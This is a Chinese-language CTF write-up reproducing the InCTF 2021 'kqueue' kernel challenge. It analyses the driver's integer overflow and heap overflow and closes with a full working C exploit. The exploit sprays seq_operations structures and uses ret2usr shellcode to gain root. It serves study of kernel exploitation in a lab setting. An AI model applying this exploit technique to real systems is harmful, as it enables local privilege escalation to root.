InCTF 2021 国际赛 - kqueue 复现及简要分析

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0x00.一切开始之前

InCTF 国际赛据称为印度的“强网杯”,比赛时笔者所在的战队没有报名所以未能参加,赛后笔者看到了Scupax0s 师傅的 WP后把其中一道kernel pwn简单复现了一下,感觉还是挺不错的一道 kernel pwn 入门题

原题下载地址在这里

这道题的文件系统用 Buildroot 进行构建,登入用户名为 ctf,密码为 kqueue,笔者找了半天才在官方 GitHub 里的 Admin 中打远程用的脚本找到的这个信息…

还有个原因不明的问题,本地重打包后运行根目录下 init 时的 euid 为 1000,笔者只好拉一个别的 kernel pwn 的文件系统过来暂时顶用…

 

0x01.题目分析

保护分析

查看启动脚本,只开启了 kaslr 保护,没开 KPTI 也没开 smap&smep,还是给了我们 ret2usr 的机会的

#!/bin/bash

exec qemu-system-x86_64 \
    -cpu kvm64 \
    -m 512 \
    -nographic \
    -kernel "bzImage" \
    -append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
    -monitor /dev/null \
    -initrd "./rootfs.cpio" \
    -net user \
    -net nic

源码分析

题目给出了源代码,免去了我们逆向的麻烦

kqueue.h 中只定义了一个 ioctl 函数

static long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static struct file_operations kqueue_fops = {.unlocked_ioctl = kqueue_ioctl};

ioctl 的函数定义位于 kqueue.c 中,如下:

static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){

    long result;

    request_t request;

    mutex_lock(&operations_lock);

    if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
        err("[-] copy_from_user failed");
        goto ret;
    }

    switch(cmd){
        case CREATE_KQUEUE:
            result = create_kqueue(request);
            break;
        case DELETE_KQUEUE:
            result = delete_kqueue(request);
            break;
        case EDIT_KQUEUE:
            result = edit_kqueue(request);
            break;
        case SAVE:
            result = save_kqueue_entries(request);
            break;
        default:
            result = INVALID;
            break;
    }
ret: 
    mutex_unlock(&operations_lock);
    return result;
}

我们要传入的结构体应当为 request_t 类型,如下:

typedef struct{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char* data;
}request_t;

在 ioctl 中定义了比较经典的增删改查操纵,下面逐个分析

*err

笔者发现在其定义的一系列函数当中都有一系列的检查,若检查不通过则会调用 err 函数,如下:

static long err(char* msg){
    printk(KERN_ALERT "%s\n",msg);
    return -1;
}

也就是说所有的检查没有任何的实际意义,哪怕不通过检查也不会阻碍程序的运行,经笔者实测确乎如此

create_kqueue

主要是进行队列的创建,限制了队列数量与大小

static noinline long create_kqueue(request_t request){
    long result = INVALID;

    if(queueCount > MAX_QUEUES)
        err("[-] Max queue count reached");

    /* You can't ask for 0 queues , how meaningless */
    if(request.max_entries<1)
        err("[-] kqueue entries should be greater than 0");

    /* Asking for too much is also not good */
    if(request.data_size>MAX_DATA_SIZE)
        err("[-] kqueue data size exceed");

    /* Initialize kqueue_entry structure */
    queue_entry *kqueue_entry;

    /* Check if multiplication of 2 64 bit integers results in overflow */
    ull space = 0;
    if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
        err("[-] Integer overflow");

    /* Size is the size of queue structure + size of entry * request entries */
    ull queue_size = 0;
    if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
        err("[-] Integer overflow");

    /* Total size should not exceed a certain limit */
    if(queue_size>sizeof(queue) + 0x10000)
        err("[-] Max kqueue alloc limit reached");

    /* All checks done , now call kzalloc */
    queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));

    /* Main queue can also store data */
    queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

    /* Fill the remaining queue structure */
    queue->data_size   = request.data_size;
    queue->max_entries = request.max_entries;
    queue->queue_size  = queue_size;

    /* Get to the place from where memory has to be handled */
    kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

    /* Allocate all kqueue entries */
    queue_entry* current_entry = kqueue_entry;
    queue_entry* prev_entry = current_entry;

    uint32_t i=1;
    for(i=1;i<request.max_entries+1;i++){
        if(i!=request.max_entries)
            prev_entry->next = NULL;
        current_entry->idx = i;
        current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

        /* Increment current_entry by size of queue_entry */
        current_entry += sizeof(queue_entry)/16;

        /* Populate next pointer of the previous entry */
        prev_entry->next = current_entry;
        prev_entry = prev_entry->next;
    }

    /* Find an appropriate slot in kqueues */
    uint32_t j = 0;
    for(j=0;j<MAX_QUEUES;j++){
        if(kqueues[j] == NULL)
            break;
    }

    if(j>MAX_QUEUES)
        err("[-] No kqueue slot left");

    /* Assign the newly created kqueue to the kqueues */
    kqueues[j] = queue;
    queueCount++;
    result = 0;
    return result;
}

其中一个 queue 结构体定义如下,大小为 0x18:

typedef struct{
    uint16_t data_size;
    uint64_t queue_size; /* This needs to handle larger numbers */
    uint32_t max_entries;
    uint16_t idx;
    char* data;
}queue;

我们有一个全局指针数组保存分配的 queue

queue *kqueues[MAX_QUEUES] = {(queue *)NULL};

在这里用到了 gcc 内置函数 __builtin_umulll_overflow,主要作用就是将前两个参数相乘给到第三个参数,发生溢出则返回 true,__builtin_saddll_overflow 与之类似不过是加法

那么这里虽然 queue 结构体的成员数量似乎是固定的,但是在 kmalloc 时传入的 size 为 ((request.max_entry + 1) * sizeof(queue_entry)) + sizeof(queue),其剩余的空间用作 queue_entry 结构体,定义如下:

struct queue_entry{
    uint16_t idx;
    char *data;
    queue_entry *next;
};

在这里存在一个整型溢出漏洞:如果在 __builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) 中我们传入的 request.max_entries0xffffffff,加一后变为0,此时便能通过检测,但 space 最终的结果为0,从而在后续进行 kmalloc 时便只分配了一个 queue 的大小,但是存放到 queue 的 max_entries 域的值为 request.max_entries

    queue->data_size   = request.data_size;
    queue->max_entries = request.max_entries;
    queue->queue_size  = queue_size;

这里有一个移动指针的代码看得笔者比较疑惑,因为在笔者看来可以直接写作 (queue_entry *)(queue + 1)不过阿三的代码懂的都懂

kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

在分配 queue->data 时给 kmalloc 传入的大小为 request.data_size,限制为 0x20

queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

接下来会为每一个 queue_entry 的 data 域都分配一块内存,大小为 request.data_size,且 queue_entry 从低地址向高地址连接成一个单向链表

uint32_t i=1;
    for(i=1;i<request.max_entries+1;i++){
        if(i!=request.max_entries)
            prev_entry->next = NULL;
        current_entry->idx = i;
        current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

        /* Increment current_entry by size of queue_entry */
        current_entry += sizeof(queue_entry)/16;

        /* Populate next pointer of the previous entry */
        prev_entry->next = current_entry;
        prev_entry = prev_entry->next;
    }

在最后会在 kqueue 数组中找一个空的位置把分配的 queue 指针放进去

    uint32_t j = 0;
    for(j=0;j<MAX_QUEUES;j++){
        if(kqueues[j] == NULL)
            break;
    }

    if(j>MAX_QUEUES)
        err("[-] No kqueue slot left");

    /* Assign the newly created kqueue to the kqueues */
    kqueues[j] = queue;
    queueCount++;
    result = 0;
    return result;

delete_kqueue

常规的删除功能,不过这里有个 bug 是先释放后再清零,笔者认为会把 free object 的next 指针给清掉,有可能导致内存泄漏?

static noinline long delete_kqueue(request_t request){
    /* Check for out of bounds requests */
    if(request.queue_idx>MAX_QUEUES)
        err("[-] Invalid idx");

    /* Check for existence of the request kqueue */
    queue *queue = kqueues[request.queue_idx];
    if(!queue)
        err("[-] Requested kqueue does not exist");

    kfree(queue);
    memset(queue,0,queue->queue_size);
    kqueues[request.queue_idx] = NULL;
    return 0;
}

edit_kqueue

主要是从用户空间拷贝数据到指定 queue_entry->size,如果给的 entry_idx为 0 则拷到 queue->data

static noinline long edit_kqueue(request_t request){
    /* Check the idx of the kqueue */
    if(request.queue_idx > MAX_QUEUES)
        err("[-] Invalid kqueue idx");

    /* Check if the kqueue exists at that idx */
    queue *queue = kqueues[request.queue_idx];
    if(!queue)
        err("[-] kqueue does not exist");

    /* Check the idx of the kqueue entry */
    if(request.entry_idx > queue->max_entries)
        err("[-] Invalid kqueue entry_idx");

    /* Get to the kqueue entry memory */
    queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

    /* Check for the existence of the kqueue entry */
    exists = false;
    uint32_t i=1;
    for(i=1;i<queue->max_entries+1;i++){

        /* If kqueue entry found , do the necessary */
        if(kqueue_entry && request.data && queue->data_size){
            if(kqueue_entry->idx == request.entry_idx){
                validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
                exists = true;
            }
        }
        kqueue_entry = kqueue_entry->next;
    }

    /* What if the idx is 0, it means we have to update the main kqueue's data */
    if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
        validate(memcpy(queue->data,request.data,queue->data_size));
        return 0;
    }

    if(!exists)
        return NOT_EXISTS;
    return 0;
}

save_kqueue_entries

这个功能主要是分配一块现有 queue->queue_size 大小的 object 然后把 queue->data 与其所有 queue_entries->data 的内容拷贝到上边,而其每次拷贝的字节数用的是我们传入的 request.data_size ,在这里很明显存在堆溢出

static noinline long save_kqueue_entries(request_t request){

    /* Check for out of bounds queue_idx requests */
    if(request.queue_idx > MAX_QUEUES)
        err("[-] Invalid kqueue idx");

    /* Check if queue is already saved or not */
    if(isSaved[request.queue_idx]==true)
        err("[-] Queue already saved");

    queue *queue = validate(kqueues[request.queue_idx]);

    /* Check if number of requested entries exceed the existing entries */
    if(request.max_entries < 1 || request.max_entries > queue->max_entries)
        err("[-] Invalid entry count");

    /* Allocate memory for the kqueue to be saved */
    char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));

    /* Each saved entry can have its own size */
    if(request.data_size > queue->queue_size)
        err("[-] Entry size limit exceed");

    /* Copy main's queue's data */
    if(queue->data && request.data_size)
        validate(memcpy(new_queue,queue->data,request.data_size));
    else
        err("[-] Internal error");
    new_queue += queue->data_size;

    /* Get to the entries of the kqueue */
    queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

    /* copy all possible kqueue entries */
    uint32_t i=0;
    for(i=1;i<request.max_entries+1;i++){
        if(!kqueue_entry || !kqueue_entry->data)
            break;
        if(kqueue_entry->data && request.data_size)
            validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
        else
            err("[-] Internal error");
        kqueue_entry = kqueue_entry->next;
        new_queue += queue->data_size;
    }

    /* Mark the queue as saved */
    isSaved[request.queue_idx] = true;
    return 0;
}

这里有个全局数组标识一个 queue 是否 saved 了

bool isSaved[MAX_QUEUES] = {false};

 

0x02.漏洞利用

Step I.整数溢出

考虑到在 create_queue 中使用 request.max_entries + 1 来进行判定,因此我们可以传入 0xffffffff 使得其只分配一个 queue 和一个 data 而不分配 queue_entry的同时使得 queue->max_entries = 0xffffffff,此时我们的 queue->queue_size 便为 0x18

Step II.堆溢出 + 堆喷射覆写 seq_operations 控制内核执行流

前面我们说到在 save_kqueue_entries() 中存在着堆溢出,而在该函数中分配的 object 大小为 queue->queue_size,即 0x18,应当从 kmalloc-32 中取,那么我们来考虑在该 slab 中可用的结构体

不难想到的是,seq_operations 这个结构体同样从 kmalloc-32 中分配,当我们打开一个 stat 文件时(如 /proc/self/stat )便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,其默认值为 seq_read_iter() 函数,定义于 fs/seq_file.c 中,注意到有如下逻辑:

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即其会调用 seq_operations 中的 start 函数指针,那么我们只需要控制 seq_operations->start 后再读取对应 stat 文件便能控制内核执行流

我们可以使用堆喷射(heap spray)的手法在内核空间喷射足够多的 seq_operations 结构体从而保证我们能够溢出到其中之一

Step III.ret2usr + ret2shellcode

由于没有开启 smep、smap、kpti,故 ret2usr 的攻击手法在本题中是可行的,但是由于开启了 kaslr 的缘故,我们并不知道 prepare_kernel_cred 和 commit_creds 的地址,似乎无法直接执行 commit_creds(prepare_kernel_cred(NULL))

这里 ScuPax0s 师傅给出了一个美妙的解法:通过编写 shellcode 在内核栈上找恰当的数据以获得内核基址,执行commit_creds(prepare_kernel_cred(NULL)) 并返回到用户态

Final Exploit

故最终的 exp 如下:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>

typedef struct
{
    uint32_t    max_entries;
    uint16_t    data_size;
    uint16_t    entry_idx;
    uint16_t    queue_idx;
    char*       data;
}request_t;

long dev_fd;
size_t root_rip;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

void errExit(char * msg)
{
    printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void createQueue(uint32_t max_entries, uint16_t data_size)
{
    request_t req = 
    {
        .max_entries    = max_entries,
        .data_size      = data_size,
    };
    ioctl(dev_fd, 0xDEADC0DE, &req);
}

void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
{
    request_t req =
    {
        .queue_idx  = queue_idx,
        .entry_idx  = entry_idx,
        .data       = data,
    };
    ioctl(dev_fd, 0xDAADEEEE, &req);
}

void deleteQueue(uint16_t queue_idx)
{
    request_t req = 
    {
        .queue_idx = queue_idx,
    };
    ioctl(dev_fd, 0xBADDCAFE, &req);
}

void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
{
    request_t req =
    {
        .queue_idx      = queue_idx,
        .max_entries    = max_entries,
        .data_size      = data_size,
    };
    ioctl(dev_fd, 0xB105BABE, &req);
}

void shellcode(void)
{
    __asm__(
        "mov r12, [rsp + 0x8];"
        "sub r12, 0x201179;"
        "mov r13, r12;"
        "add r12, 0x8c580;"  // prepare_kernel_cred
        "add r13, 0x8c140;"  // commit_creds
        "xor rdi, rdi;"
        "call r12;"
        "mov rdi, rax;"
        "call r13;"
        "swapgs;"
        "mov r14, user_ss;"
        "push r14;"
        "mov r14, user_sp;"
        "push r14;"
        "mov r14, user_rflags;"
        "push r14;"
        "mov r14, user_cs;"
        "push r14;"
        "mov r14, root_rip;"
        "push r14;"
        "iretq;"
    );
}

int main(int argc, char **argv, char**envp)
{
    long        seq_fd[0x200];
    size_t      *page;
    size_t      data[0x20];

    saveStatus();
    root_rip = (size_t) getRootShell;
    dev_fd = open("/dev/kqueue", O_RDONLY);
    if (dev_fd < 0)
        errExit("FAILED to open the dev!");

    for (int i = 0; i < 0x20; i++)
        data[i] = (size_t) shellcode;

    createQueue(0xffffffff, 0x20 * 8);
    editQueue(0, 0, data);
    for (int i = 0; i < 0x200; i++)
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    saveQueue(0, 0, 0x40);
    for (int i = 0; i < 0x200; i++)
        read(seq_fd[i], data, 1);
}

运行即可提权到 root

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